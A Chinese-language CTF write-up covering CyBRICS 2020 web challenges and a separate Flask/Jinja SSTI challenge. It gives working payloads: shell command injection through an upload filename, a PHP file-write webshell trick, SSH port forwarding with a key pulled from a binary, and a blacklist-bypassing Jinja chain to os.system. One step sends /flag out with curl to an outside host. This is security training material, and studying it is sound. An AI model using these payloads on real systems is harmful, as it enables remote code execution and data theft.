CyBRICS 2020 Web Writeup

CyBRICS 2020 Web Writeup

安全 3329 字 / 7 分钟
AI 总结 以下AI总结内容由腾讯混元大模型生成

本文为作者在CyBRICS 2020 Web Writeup活动的总结,分享了在比赛中遇到的Web题目及解题过程,包括Hunt、Gif2png、WoC、Developer’s Laptop、OTP和ezflask等题目,涉及到的技术和思路值得学习和参考。

1. Hunt 题目要求在F12 Console中创建五个reCAPTCHA并点击掉它们。

2. Gif2png 这是一个上传GIF动图后逐帧转成PNG文件的网站,通过源码和文件名过滤实现攻击。

3. WoC 利用PHP代码审计,发现计算器模板中存在命令执行漏洞,通过构造HTML模板文件实现攻击。

4. Developer’s Laptop 题目为使用Golang编写的服务端和客户端,通过分析服务端源码和客户端二进制文件,利用SSH连接和MongoDB访问获取Flag。

5. OTP 这是一道CTB方向的题目,通过Golang实现SSH连接和MongoDB访问,最终获取Flag。

6. ezflask 这是一个基于Jinja模板的注入漏洞,通过构造特殊的字符串和字典遍历方式实现攻击。

总的来说,本文通过分享CyBRICS 2020 Web Writeup活动中遇到的Web题目及解题过程,展示了网络安全领域的重要知识和技巧,对于从事相关领域的人来说具有很好的学习和参考价值。

有一段时间没打比赛了。前几天是 XCTF 联赛的 CyBRICS 2020,不得不说国外战队的比赛体验真的很好,平台好看,题目不说难度,至少看得出是花心思了的。最后协会也是拿了中国第三 世界第七的成绩 👍👍👍

这里记录一下 Web 题,当做日后备忘。总得来说 Web 不算太难,考得知识点也不是很广,感觉学不到太多东西。

Hunt

挺有创意的签到题。 F12 Console 建几个五个 reCAPTCHA 一个个点掉就行。

const captchaBox = document.createElement('div');
const widgetId = grecaptcha.render(captchaBox, {
	'sitekey' : '6Ld0sCEUAAAAAKu8flcnUdVb67kCEI_HYKSwXGHN',
	'theme' : 'light',
	'callback': 'good',
});
captchaBox.className = 'captcha';
document.body.appendChild(captchaBox);
cybrics{Th0se_c4p7ch4s_c4n_hunter2_my_hunter2ing_hunter2}

Gif2png

一个上传 GIF 动图之后逐帧转成 PNG 文件的网站。 题目提供了源码,flag 在源码main.py中。其中转换的操作是执行 ffmpeg 实现,file.filename可控,因此猜测可能存在命令执行。

command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)

对于file.filename的过滤:

if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
	logging.debug(f'Invalid symbols in filename: {file.content_type}')
	flash('Invalid filename', 'danger')
	return redirect(request.url)

且文件名最后要以.gif结尾。 本地启一个环境调了一下,文件名 a' 'b' || touch 1 || echo '.gif 可以成功创建文件。 之后改用将payload base64 编码执行:

'$(echo {{base64_here}} | base64 -d | bash ).gif'.gif

尝试弹 shell 和 curl 都没反应,怀疑环境不通外网。 联想到我们在 Web 端是可以访问uploads文件夹的,因此尝试将main.py文件复制到uploads文件夹下进行访问。 首先先正常走一遍流程上传一个 GIF 文件,获得上传后的 URL /result/8c596937-8ad3-4a9d-9367-6c468cbcb787。 之后我们打算执行:

cp main.py ./uploads/8c596937-8ad3-4a9d-9367-6c468cbcb787/199.png

main.py复制该到目录下。

抓包将上传文件的文件名改成 '$(echo Y3AgbWFpbi5weSAuL3VwbG9hZHMvOGM1OTY5MzctOGFkMy00YTlkLTkzNjctNmM0NjhjYmNiNzg3LzE5OS5wbmc= |base64 -d |bash ).gif'.gif,之后访问 http://gif2png-cybrics2020.ctf.su/uploads/8c596937-8ad3-4a9d-9367-6c468cbcb787/199.png 下载文件,用文本格式打开即可。

cybrics{imagesaresocoolicandrawonthem}

不算太难的一题,命令执行那边能想到用 base64 就没啥了。

WoC

PHP 的代码审计。题目环境是一个计算器,并且用户可以上传自己的 HTML 模板,并分享这些模板。 既然牵扯到计算器了,那多半就是命令执行咯~ 虽说是这样,但是看看这过滤输入的正则:

if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
        $value = "BAD";
}

我把这正则拿去可视化都报错了…… 直接就放弃从eval()进行执行。

其中计算器模板分享功能存在一处file_put_contents()写文件。

file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));

写的就是 PHP 文件,控制文件内容即可 getshell。 文件的内容分为三各部分。第一部分是我们可控的$field,也就是计算器的输入,被上面那一串正则一匹配基本就不剩什么了。第二部分是inc/calclib.html这个 HTML 文件,第三个部分是我们上传上去的 HTML 的模板文件。因此考虑将 payload 写在 HTML 的模板文件中执行。

可以传入$field=/*来实现 PHP 多行注释,将后面的?>闭合标签以及第二部分拼进来的 HTML 的内容全部注释掉。之后在第三部分的模板文件中加入*/来闭合注释,后面就是可以执行代码的地方。

上传的 HTML 模板会检测是否有相关的 HTML 标签属性,这些我们都可以复制过去加上,全部包在多行注释里注释掉即可。 最终 payload:

id="back"id="field" name="field"id="digit0"id="digit1"id="digit2"id="digit3"id="digit4"id="digit5"id="digit6"id="digit7"id="digit8"id="digit9"id="plus"id="equals"*/file_get_contents('/flag')));?>

使用该模板,访问计算器 field=/* share=1,写文件。访问创建的文件,拿到 Flag。

cybrics{5aMe_7h1ng_W3_d0_3Ve5y_n16ht_P1nKY.Try_2_t4k3_0vEr_t3h_w0RLd}

Developer’s Laptop

到这就不会了,等 WP 复现……

OTP

这题是 CTB(Crack the Box)方向的题目,因为是 Golang 相关,所以我也就来试试了。 最后 SSH 那里差一点,可惜了。

题目有使用 Golang 编写的服务端和客户端,其中服务端给了源码,客户端只给了编译后的二进制文件。 先审计服务端源码,分为注册和登录两个功能,用户数据全部存在服务器的 mongoDB 上,且对数据库的操作全都规范使用 mongoDB 的库完成。生成的一次性密钥也是使用了 UUID 库。服务端代码感觉没有什么问题,转战客户端。

客户端二进制文件直接拖进 IDA,未去除符号表,很舒服。 可以看到使用了github.com/jessevdk/go.flags库,应该是用来解析命令行的参数。除此之外还用到了golang.org/x/crypto/ssh以及net库,很容易想到其中有 SSH 的连接操作。切到 Strings 窗口翻翻有啥字符串,居然找到了 SSH 私钥。 拿到私钥后,我们还需要知道连接了哪个地址,用户名是什么。 直接断网,运行客户端,从命令行报错中可以看到连接的地址就是题目otp-cybrics2020.ctf.su

至于用户名,我们可以选择抓包获得,或者逆向二进制获得。我这里选择后者。 Golang 建立 SSH 连接的代码如下:

clinet, err := ssh.Dial("tcp", "127.0.0.1:22", config)

其中config*ssh.ClientConfig类型结构体,存储连接的相关配置。 搜索golang_org_x_crypto_ssh_Dial,发现其在client_commands___LoginCommand方法中被调用。

下面这里其实就是从字符串中取 3 个字符,也就是函数第一个入参:tcp

在往上就是*ssh.ClientConfig结构体的定义,可以找到字符串guest,这就是我们登录的用户名。

使用该用户名和私钥即可连接上服务,发现就是服务端,以为还是要 pwn 服务端才行,遂没再多想。 赛后看网上公开的 wp 才发现,既然我们已经使用 SSH 登录上了服务器,我们就可以将服务器上的端口正向代理到本地!!! 因此我们可以代理访问服务器上的 mongoDB。

ssh -L 27017:localhost:27017 guest@34.76.112.206 -i id_rsa

连接上 mongoDB,拿到 admin 的登录密钥,登录即可拿到 flag。

cybrics{n07_S0_D1fF1cuL7_8U7_4lw4yS_chECK_P0R7_F0rw4Rd1N9}

这里再额外附上一道近期做到的感觉挺有意思的题,当做备忘。与 CyBRICS 无关。

ezflask

一上来直接给源码,很纯粹的 Jinja 模板注入。


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)

@app.route("/")
def index():
    def safe_jinja(s):
        blacklist = ['class', '_', 'mro', 'base',
                     'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtin', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag
    if not request.args.get('name'):
        return open(__file__).read()
    elif safe_jinja(request.args.get('name')):
        name = request.args.get('name')
    else:
        name = ''
    template = '''

    <div class="center-content">
        <p>Hello, %s</p>
    </div>
    <!--flag in /flag-->
    <!--python3.8-->
''' % (name)
    return render_template_string(template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

可以看到过滤了所有模板注入常用的属性;requestcookiesheaders 都不能用因此不能从请求的 Query、Cookie、Header 里面传参。最惨的是过滤了单双引号,因此无法直接写字符串。

先附上 Jinja 文档,这道题是前前后后疯狂翻文档,找内置过滤器和函数做的。

https://www.w3cschool.cn/yshfid/a1kl5ozt.html https://www.osgeo.cn/jinja/templates.html#list-of-builtin-filters

首要的问题就是如何构造出想要的字符串。 通过查阅 Jinja 文档,我们可以看到通过dict(a=b)这样可以在不使用引号的情况下,定义一个dict的键值。同时,又有join()函数可以对键进行字符串合并。 因此可以通过dict(buil=aa,tins=dd)|join()这样的形式,构造除了builtin,其余的字符串也可以这样构造。 这里还有一个 Jinja 模板注入里很重要字符——下划线 _ 需要我们构造。官方 wp 里是直接建了一个 ASCII 转字符的函数,通过传入 95 构造出的_

{% set pc = g|lower|list|first|urlencode|first %}
{% set c=dict(c=1).keys()|reverse|first %}
{% set udl=dict(a=pc,c=c).values()|join %}
{% set udl2=udl%(95) %}
{{udl2}}

而我则是随意尝试,发现 { }|select() 返回的是<generator object select_or_reject at 0x7f14ba52bc80>,这段里面含有下划线和空格,因此直接将此转换成字符串,然后打散成数组,通过pop()函数来根据下标取值。

({ }|select()|string()|list()).pop(24)|string()

可以构造出任意字符后,我们就可以找一个对象作为起点开始了。题目只过滤了{},因此使用{ }即可绕过生成一个对象。再次查阅 Jinja 文档,得知可以使用{% set a=b %}来创建变量,可以使用attr()过滤器来获取对象的属性。 需要重点注意的是,Jinja 里面字符串之间是使用 ~ 来进行拼接,而并非+

{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%} 
{% set cc = dict(clas=aa,s=dd)|join() %}
{% set ba = dict(bas=aa,e=dd)|join() %}
{% set su = dict(subc=aa,lasses=dd)|join() %}
{% set gl = dict(glo=aa,bals=dd)|join() %}
{% set sys = dict(sys=aa,tem=dd)|join() %}
{% set ini = dict(init=aa)|join() %}
{% set bu = dict(buil=aa,tins=dd)|join() %}
{% set na = dict(nam=aa,e=dd)|join() %}
{% set os = dict(o=aa,s=dd)|join() %}
{% set req = dict(requ=aa,est=dd)|join() %}
{% set e99 = dict(e99=aa)|join() %}
{% set ge = dict(ge=aa,t=dd)|join() %}

{% set cfg = xhx*2~cc~xhx*2 %}
{% set bas = xhx*2~ba~xhx*2 %}
{% set sub = xhx*2~su~xhx*2 %}
{% set init = xhx*2~ini~xhx*2 %}
{% set glob = xhx*2~gl~xhx*2 %}
{% set bul = xhx*2~bu~xhx*2 %}
{% set nam = xhx*2~na~xhx*2 %}

{% set eee = ({ }|attr(cfg)|attr(bas)|attr(sub))().pop(132)|attr(init)|attr(glob) %}
{% set fla = ({ }|attr(cfg)|attr(bas)|attr(sub))().pop(438)|attr(init)|attr(glob) %}

以上,我们便取得了os类(存于变量eee中),flask类(存于变量fla中),这里我没再去想有没有更简单的办法。我是想从 Flask 的 request.args 中取得任意 payload,然后放入os.system中执行。

但是经过我多次尝试,我都没有找到 Jinja 中根据键取 dict 值的过滤器。(因为这里[]被过滤了,只能尝试用过滤器取,经测试attr()并不行)因此我只能通过for遍历 dict 中的所有键值,再用 if 来判断键,从而取到值。整整套了三层 for!!

{% for index, value in fla.items() %}
    {% if index == req %}
        {% for idx, payload in value.args.items() %}
           {% if idx == e99 %}
                {% for sysidx, sysfunc in eee.items() %}
                    {% if sysidx == sys %}
                    	{{sysfunc(payload)}}
                    {% endif %}
                {% endfor %}
           {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

好在最后终于是成功了!因为靶机网络环境不稳定,无法弹 Shell,就让其读取 Flag 文件再 curl 发到服务器上:curl -XPOST -T /flag http://ip:port/。 这道题感觉是挺新鲜的,学到很多。后面我还在想如果将数字也过滤掉,是否还可以找到命令执行的方式。

谢谢老板 Thanks♪(・ω・)ノ


喜欢这篇文章?为什么不打赏一下呢?